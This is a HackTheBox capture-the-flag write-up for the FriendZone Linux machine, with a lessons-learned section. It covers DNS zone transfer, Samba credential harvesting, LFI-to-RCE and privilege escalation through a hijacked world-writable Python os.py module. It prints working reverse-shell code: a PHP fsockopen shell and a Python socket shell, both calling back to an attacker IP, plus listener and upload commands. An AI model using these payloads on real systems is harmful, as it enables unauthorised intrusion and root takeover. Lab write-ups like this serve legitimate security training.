FriendZone - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

FriendZone is an easy difficulty Linux box that emphasizes thorough enumeration across multiple services. The machine features DNS zone transfers to discover virtual hosts, Samba shares containing credentials, a Local File Inclusion (LFI) vulnerability leading to Remote Code Execution, and finally a privilege escalation via Python module hijacking. The attack chain requires good reconnaissance skills and understanding of how Python modules are loaded and executed.

TL;DR: DNS zone transfer → enumerate Samba shares for credentials → exploit LFI on admin panel → upload reverse shell via writable SMB share → hijack os.py module imported by a root cron job → root shell.

Reconnaissance

Port Scanning

# Quick port discovery
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.123 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed enumeration
nmap -sC -sV -p$ports 10.10.10.123

Results:

Service Enumeration

DNS Enumeration:

The SSL certificate reveals the domain friendzone.red. Let’s perform a DNS zone transfer using dig:

dig axfr friendzone.red @10.10.10.123

Discovered Subdomains:

• administrator1.friendzone.red
• hr.friendzone.red
• uploads.friendzone.red

Add these to /etc/hosts:

echo '10.10.10.123   friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red' >> /etc/hosts

Samba Enumeration:

enum4linux 10.10.10.123

Discovered shares:

• general - readable
• Development - writable
• Files - access denied (path: /etc/Files)

Connect to the general share:

smbclient -N \\\\10.10.10.123\\general

Found creds.txt containing:

creds for the admin THING:
admin:WORKWORKHhallelujah@#

Web Enumeration:

Discovered two vhosts running Apache on HTTP/HTTPS. The HTTPS version on administrator1.friendzone.red presents a login page.

Run Gobuster on the administrator vhost:

gobuster -w directory-list-2.3-medium.txt -t 50 -k -u https://administrator1.friendzone.red/ -x php

Found Endpoints:

• /login.php - login form
• /dashboard.php - requires authentication
• /timestamp.php - returns current timestamp

Vulnerability Assessment

Initial Foothold

Exploitation Path

Step 1: Authentication

Login to the administrator panel using credentials from the Samba share:

Username: admin
Password: WORKWORKHhallelujah@#

Step 2: LFI Discovery

The dashboard page includes a pagename parameter:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

Test LFI by including login.php:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/var/www/html/login

The page executes PHP files and returns their output, confirming LFI vulnerability.

Step 3: Reverse Shell Upload

Create a PHP reverse shell and upload it to the writable Development share:

<?php
$sock=fsockopen("10.10.16.32",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

Upload via SMB:

smbclient -N \\\\10.10.10.123\\Development
> put php-reverse-shell.php

Step 4: Trigger RCE

Set up listener:

nc -lvnp 4444

Trigger the reverse shell via LFI:

curl -k 'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell'

Step 5: Interactive Shell

Upgrade to interactive shell:

python -c "import pty; pty.spawn('/bin/bash')"

We now have shell access as www-data user.

Privilege Escalation

Cron Job Enumeration

Use pspy to monitor running processes:

# Download pspy64s and upload to Development share
cd /tmp
cp /etc/Development/pspy64s .
chmod +x pspy64s
./pspy64s

Discover a cron job executing:

/usr/bin/python /opt/server_admin/reporter.py

Examine the script:

cat /opt/server_admin/reporter.py

Script Content:

#!/usr/bin/python
import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s" % to_address

# command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com ... '''
# os.system(command)

# I need to edit the script later
# Sam ~ python developer

The script imports the os module. Since Python loads modules from the current directory first, we can hijack this.

Module Hijacking

Run LinEnum to find writable system files:

cp /etc/Development/LinEnum.sh .
chmod +x LinEnum.sh
./LinEnum.sh -t 1

Discovery: /usr/lib/python2.7/os.py is world-writable.

Create a malicious os.py that executes a reverse shell:

# Malicious os.py
import subprocess
import socket

# Add reverse shell code
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("10.10.16.32", 5555))
subprocess.call(["/bin/bash", "-i"], stdin=sock.fileno(), stdout=sock.fileno(), stderr=sock.fileno())

Upload and replace the original module:

# Upload to Development share
smbclient -N \\\\10.10.10.123\\Development
> put os.py

# As www-data, copy to writable location
cp /etc/Development/os.py /usr/lib/python2.7/os.py

Wait for the cron job to execute (runs every minute). Set up listener:

nc -lvnp 5555

Upon next execution of reporter.py, the Python interpreter imports the hijacked os.py and executes our reverse shell code as root.

Attack Chain Summary

DNS Zone Transfer → Discover Subdomains
                  ↓
Enumerate Samba Shares → Obtain admin credentials
                  ↓
Authenticate to Admin Panel → Access dashboard.php
                  ↓
Exploit LFI via pagename parameter → Include arbitrary PHP files
                  ↓
Upload reverse shell to Development share → RCE as www-data
                  ↓
Identify root cron job (reporter.py) → Imports os module
                  ↓
Hijack /usr/lib/python2.7/os.py → World-writable
                  ↓
Malicious os.py executes on cron trigger → Reverse shell as root

Tools Used

Key Learnings

Techniques Practiced

• DNS zone transfer enumeration (AXFR)
• SMB share enumeration and credential extraction
• Local File Inclusion (LFI) exploitation
• Remote Code Execution via LFI in PHP
• Privilege escalation via Python module hijacking
• Cron job monitoring with pspy
• Shell upgrade and interactive terminal control

Lessons Learned

1. Comprehensive Enumeration is Critical - The machine requires enumerating multiple services (DNS, SMB, HTTP) to build the complete attack chain. Missing any service could prevent exploitation.

2. Credential Reuse - Samba share credentials work directly on the web admin panel. Always test credentials across multiple services.

3. LFI to RCE - While LFI alone seems benign, combined with writable upload locations it becomes critical. The ability to include arbitrary PHP files from known paths is the bridge to RCE.

4. Module Hijacking Over Root Cron - The most dangerous vulnerability on this box. Python searches the current directory before system paths. A world-writable system module imported by root cron jobs is a direct privilege escalation vector.

5. Defense in Depth Failure - Multiple configuration mistakes (readable shares, writable SMB uploads, world-writable Python modules, no ACLs on zone transfers) compound to full system compromise.

6. Process Monitoring - Tools like pspy are invaluable for discovering hidden cron jobs and privilege escalation paths that traditional enumeration might miss.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>